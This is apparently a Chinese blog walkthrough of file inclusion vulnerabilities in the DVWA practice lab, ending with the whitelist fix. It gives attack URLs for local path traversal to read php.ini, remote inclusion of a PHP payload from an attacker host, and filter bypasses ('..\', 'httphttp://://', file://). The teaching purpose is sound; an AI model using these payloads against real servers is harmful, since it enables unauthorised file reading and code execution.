Web渗透_文件包含漏洞




文件包含漏洞

File Inclusion:文件包含是一种代码处理方法,函数比如include、require,参数是文件名。






Low等级下:

happysneaker.com


分别点击这三个按钮,然后观察URL的变化,初始为:

http://localhost/DVWA-1.9/vulnerabilities/fi/?page=include.php

然后三个按钮分别为:

http://localhost/DVWA-1.9/vulnerabilities/fi/?page=file1.php

http://localhost/DVWA-1.9/vulnerabilities/fi/?page=file2.php

http://localhost/DVWA-1.9/vulnerabilities/fi/?page=file3.php


可以看到只有page参数发生了变化,那么试一下改变page参数提交,比如 page=666.php,发生了报错,而且还暴露了绝对路径,说明存在文件包含漏洞:


Warning:  include(666.php): failed to open stream: No such file or directory in D:\PHP Study\PHPTutorial\WWW\DVWA-1.9\vulnerabilities\fi\index.php on line 36

Warning:  include(): Failed opening '666.php' for inclusion (include_path='.;C:\php\pear;../../external/phpids/0.6/lib/') in D:\PHP Study\PHPTutorial\WWW\DVWA-1.9\vulnerabilities\fi\index.php on line 36



happysneaker.com


比如想读取php.ini文件,那么针对URL修改page参数,就得 ../../ 返回上两级目录去找php.ini:

happysneaker.com


如下,成功读取php.ini文件:

happysneaker.com


难道只能读文件吗?可不可以写文件呢,尝试一下说明是可以的:

happysneaker.com



作为攻击者来说,仅仅读取和执行服务器端本地文件是不够的,能不能执行任何地方的文件,比如说黑客自己服务器上的文件?

首先编写一个phpinfo.txt文件内容为经典的<?php phpinfo(); ?> ,将此文件放到黑客的服务器比如说127.0.0.1/phpinfo.txt,然后URL的page参数提交为:http://127.0.0.1/phpinfo.txt ,结果果然能访问,证实了猜想,确实可以执行远程文件。而且即使是非php格式文件,只要包含PHP代码,就能运行。

happysneaker.com

happysneaker.com


分析:

http://localhost/DVWA-1.9/vulnerabilities/fi/?page=http://127.0.0.1/phpinfo.txt

http://localhost/DVWA-1.9/vulnerabilities/fi/?page=http://127.0.0.1/phpinfo.php





这两个链接都能执行显示php版本页面,一个是远程txt.一个是远程php,有什么区别呢:

phpinfo.php 显示的版本信息中服务器地址为本地地址即攻击者的地址信息:127.0.0.1

phpinfo.txt 显示的是受害者的服务器地址信息,因此txt才是我们作为攻击者想要的。

( 既然是执行远程攻击,肯定是在对方的服务器上执行脚本。)


Low等级文件包含攻击完成。




文件包含的攻击思路就清楚了:

happysneaker.com






Medium等级有什么鬼呢?


首先尝试读取服务本地文件:


 ../../php.ini 访问失败,但是也报错了。


经典思路,后台应该是过滤了某些字符。

happysneaker.com


过滤了哪些字符呢,尝试一下  page=.php.ini ,错误提示 .php.ini 找不到,说明 . 没有被过滤:

happysneaker.com


再次尝试  page=/php.ini  和 page=./php.ini ,错误都完整提示,说明  /  和  ./  也没有被过滤。


最后尝试 page=../php.ini ,错误提示  php.ini 找不到,原来是过滤了 ../   ,说明服务器端是将 ../ 作为一个整体来过滤。


作为专业攻击者,第一反应一定是要尝试一下 ..\   ,反斜杠,结果成功:


http://localhost/DVWA-1.9/vulnerabilities/fi/?page=..\..\php.ini

happysneaker.com


所以绕过过滤的解决方法是使用  ..\   


服务器本地文件可以读取了,考虑能不能进行远程文件的执行:


首先 page=http://127.0.0.1/phpinfo.txt  不能访问,说明Medium等级也是过滤了某些字符,分析过滤了哪些:

happysneaker.com


最终得出服务器端是将 http:// 作为一个整体进行过滤的,那么绕过过滤的方法是什么呢。

happysneaker.com


所以绕过过滤的方法是将 http://  改为 httphttp://://





再看High等级


首先是服务器端本地文件读取:

happysneaker.com


进行分析,得到后台只认以 file 开头的文件,file前面的字符都会被过滤:

happysneaker.com


那me攻击思路又出来了,经典的file协议,可以访问服务器的本地文件:

happysneaker.com

访问成功:

happysneaker.com


当然 file://// 和  file:/// 和 file:// 是一样的效果,//会无限转义的,所以file:后面只要跟两个以上的 /  就能成功。 



再看远程文件执行:


happysneaker.com


经过验证,也是只支持 file开头的page参数 ,可是file://只支持访问服务器端本地文件,如何访问别的服务器上的远程文件呢。

当然是访问不了了,哈哈哈哈哈哈哈哈。


必须结合文件上传漏洞才能行,将远程文件通过文件上传漏洞上传到服务器,然后使用file来访问执行,此时的攻击思路为:

happysneaker.com





最后是impossible等级,无法使用包含漏洞,后台代码使用了白名单的方式,只允许page的参数为4个参数名,有效的防止了文件包含漏洞:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>



这也是文件包含漏洞的修复方法,采用白名单的方式来进行参数设置。







Web安全技术分享
请先登录后发表评论
  • 最新评论
  • 总共0条评论